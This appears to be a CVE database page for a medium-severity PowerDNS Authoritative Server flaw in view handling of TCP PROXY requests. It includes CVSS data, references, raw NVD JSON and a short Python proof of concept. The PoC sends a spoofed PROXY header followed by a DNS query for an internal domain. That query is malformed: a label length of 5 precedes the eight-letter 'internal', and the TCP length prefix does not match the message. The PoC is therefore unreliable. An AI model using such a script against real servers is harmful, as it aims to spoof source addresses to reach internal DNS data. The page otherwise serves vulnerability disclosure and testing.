CVE-2026-41999

Description

Incorrect Behaviour of Views with TCP PROXY Requests

CVSS Details

CVSS Score

4.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PowerDNS Authoritative Server < 4.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Conceptual Proof of Concept for CVE-2026-41999
# This script demonstrates sending a TCP PROXY header to trigger the view logic issue.
import socket

def send_proxy_poc(target_ip, target_port):
    # PROXY protocol line: PROXY TCP4 <src_ip> <dst_ip> <src_port> <dst_port>
    # Spoofing source IP to potentially match a different View
    proxy_header = b"PROXY TCP4 10.0.0.1 192.168.1.1 12345 53\r\n"
    
    # Standard DNS Query for internal domain (example)
    dns_query = b"\x00\x1c\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06\x73\x65\x63\x72\x65\x74\x05\x69\x6e\x74\x65\x72\x6e\x61\x6c\x03\x63\x6f\x6d\x00\x00\x01\x00\x01"
    
    payload = proxy_header + dns_query
    
    try:
        print(f"[*] Sending payload to {target_ip}:{target_port}")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((target_ip, target_port))
        s.sendall(payload)
        response = s.recv(1024)
        s.close()
        print("[+] Response received:")
        print(response)
    except Exception as e:
        print(f"[-] Error: {e}")

# Usage (replace with actual target details)
# send_proxy_poc("127.0.0.1", 5300)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41999
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41999
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41999/
[4] VulDB https://vuldb.com/cve/CVE-2026-41999
[5] https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-06.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41999", "sourceIdentifier": "[email protected]", "published": "2026-05-21T10:16:25.433", "lastModified": "2026-05-21T15:27:51.530", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Behaviour of Views with TCP PROXY Requests"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-06.html", "source": "[email protected]"}]}}